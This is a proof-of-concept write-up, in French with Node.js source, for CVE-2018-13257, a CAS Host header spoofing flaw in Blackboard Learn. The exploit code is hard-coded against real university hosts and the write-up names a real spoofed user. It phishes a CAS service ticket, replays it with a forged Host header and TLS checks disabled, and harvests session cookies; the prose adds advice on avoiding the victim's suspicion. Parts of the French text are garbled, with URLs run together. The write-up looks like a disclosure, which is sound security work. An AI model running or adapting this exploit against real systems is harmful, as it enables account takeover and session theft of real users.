
Exploit de preuve de concept pour CVE-2018-13257 démontrant l'usurpation d'en-tête hôte CAS dans Blackboard Learn pour détourner les sessions utilisateur via un site Web intermédiaire malveillant.
Un module d'authentification dans Blackboard Learn est vulnérable à un contournement de l'en-tête Host HTTP lors de la validation du ticket de service du Central Authentication Service (CAS). Un ticket de service CAS n'est destiné qu'à un service spécifique, mais Blackboard Learn ne vérifie pas correctement que ce service est l'instance actuelle. Cela permet une attaque de phishing où les utilisateurs croient saisir leurs informations d'authentification unique pour un certain site web, alors que ce site malveillant utilise le ticket de service pour s'authentifier en tant que cet utilisateur auprès d'une instance Blackboard Learn.
Un attaquant configurerait attacker.example afin de s'authentifier en tant qu'un autre utilisateur auprès d'une instance Blackboard Learn sur blackboard.example, qui valide les tickets de service via cas.example.
Les événements suivants se produisent lorsqu'un utilisateur visite .
attacker.examplehttps://cas.example/cas/login?service=https%3A%2F%2Fattacker.example%2Fwebapps%2Fbb-auth-provider-cas-BB5849b9bae4172%2Fexecute%2FcasLogin%3Fcmd%3Dlogin%26authProviderId%3D_102_1%26redirectUrl%3Dhttps%253A%252F%252Fblackboard.example%252Fwebapps%252Fportal%252Fexecute%252FdefaultTab%26globalLogoutEnabled%3Dtrue&renew=truecas.example. Il la considérera très probablement comme fiable car il s'agit de l'écran de connexion standard de son établissement sur un domaine de confiance. La page de connexion indiquera qu'il s'authentifie sur attacker.example.attacker.example : https://attacker.example/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleattacker.example effectuera maintenant une requête HTTP GET vers blackboard.example en utilisant le ticket de service ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.example récupéré à l'étape précédente. La requête GET accédera à blackboard.example avec un en-tête Host de : attacker.example : https://attacker.example//webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleblackboard.example répondra au backend de attacker.example avec des cookies authentifiant l'utilisateur cible auprès de l'instance Blackboard Learn.Si attacker.example est un site web que les membres d'un établissement considèrent régulièrement comme fiable (par exemple, la page d'accueil de l'établissement), la compromission de ce site web signifierait que l'instance Blackboard Learn de l'établissement est également raisonnablement compromise avec cette vulnérabilité.
Pour éviter les soupçons, attacker.example pourrait rediriger l'utilisateur vers la page de connexion de sso.example après l'étape 5 et effectuer les tâches attendues de attacker.example à partir de là. L'utilisateur verrait qu'il doit cliquer sur « Connexion » deux fois, mais la redirection se produit assez rapidement pour que l'utilisateur ne puisse pas être sûr d'avoir quitté la page de connexion et d'y être revenu.
Il convient de noter que CVE-2017-18262 est distinct de cette vulnérabilité. CVE-2017-18262 est une vulnérabilité dans la validation de redirectTo. Cette vulnérabilité implique un défaut dans le paramètre d'URL service envoyé au point de terminaison de connexion de validation.
Utiliser CVE-2017-18262 pour hameçonner des identifiants nécessite de mettre en place un faux écran de connexion qui imite l'apparence de cas.example. Cette vulnérabilité se produit directement sur cas.example, mais nécessite que l'utilisateur visite d'abord attacker.example.
Ceci a été testé contre lms.uconn.edu avec brc15007 comme utilisateur usurpé. lms.uconn.edu est une instance Blackboard Learn gérée par Blackboard Inc. hébergée sur Amazon Web Services.
index.js
const crypto = require('crypto')
const Koa = require('koa')
const session = require('koa-session')
const FakeCas = require('./lib/fake-cas')
// The koa-basic-auth module is used purely to protect this POC from being used
// by unauthorized test users.
const auth = require('koa-basic-auth')
const CAS_SERVER = 'https://login.uconn.edu'
const BLACKBOARD_INSTANCE = 'https://lms.uconn.edu'
const VULNERABLE_ENDPOINT = `/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=${encodeURIComponent(BLACKBOARD_INSTANCE)}%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true`
const POC_APP_USERNAME = 'i-accept-that-my-login-will-be-spoofed-for-testing'
const POC_APP_PASSWORD = 'fH71FnffjycEtMLdqd2zCAwavDzW8HdCaayHrQ4E'
const app = new Koa()
app.keys = [crypto.randomBytes(256)]
app.use(session(app))
app.use(auth({ name: POC_APP_USERNAME, pass: POC_APP_PASSWORD }))
const cas = FakeCas({
service: ctx => `https://${ctx.host}${VULNERABLE_ENDPOINT}`,
server: CAS_SERVER
})
app.use(cas.fakeCredentialRequestor({
attackUrl: ticket =>
BLACKBOARD_INSTANCE +
VULNERABLE_ENDPOINT +
'&ticket=' + ticket
}))
app.use(async ctx => {
ctx.body = `If I was a bad person, I would use the following cookies to login as you into ${BLACKBOARD_INSTANCE}.\n\n` +
ctx.session.cookieString
ctx.session = null
})
app.listen(3000)
lib/fake-cas.js
const https = require('https')
const fetch = require('isomorphic-fetch')
function createCASMiddleware (options = {}) {
const server = options.server
const service = options.service
const loginUrl = options.login || '/cas/login'
function fakeCredentialRequestor ({ attackUrl }) {
return async (ctx, next) => {
if (!ctx.session.cookieString && !ctx.request.query.ticket) {
const returnUrl = encodeURIComponent(service(ctx))
ctx.redirect(
server + loginUrl +
'?service=' + returnUrl +
'&renew=true')
return
}
if (ctx.request.query.ticket) {
const attack = attackUrl(ctx.request.query.ticket)
const res = await fetch(attack, {
headers: { 'host': ctx.request.host },
// rejectUnauthorized is required since we're spoofing the host
// header and ctx.request.host liekly won't be in the endpoint's HTTPS
// certificate.
agent: new https.Agent({ rejectUnauthorized: false })
})
const cookieString = res.headers._headers['set-cookie']
.map(cookie => cookie.match(/^(.*?);/)[1])
.map(cookie => `document.cookie = '${cookie}'`)
.join('\n')
ctx.session.cookieString = cookieString
console.log(cookieString)
ctx.status = 308
ctx.redirect('/')
return
}
await next()
}
}
return { fakeCredentialRequestor }
}
module.exports = createCASMiddleware
package.json
{
"private": true,
"main": "index.js",
"scripts": {
"dev": "nodemon index"
},
"devDependencies": {
"nodemon": "^1.17.5",
"standard": "^11.0.1"
},
"dependencies": {
"isomorphic-fetch": "^2.2.1",
"koa": "^2.5.1",
"koa-basic-auth": "^3.0.0",
"koa-session": "^5.8.1",
"query-string": "^5.0.1",
"xml2js": "^0.4.19"
}
}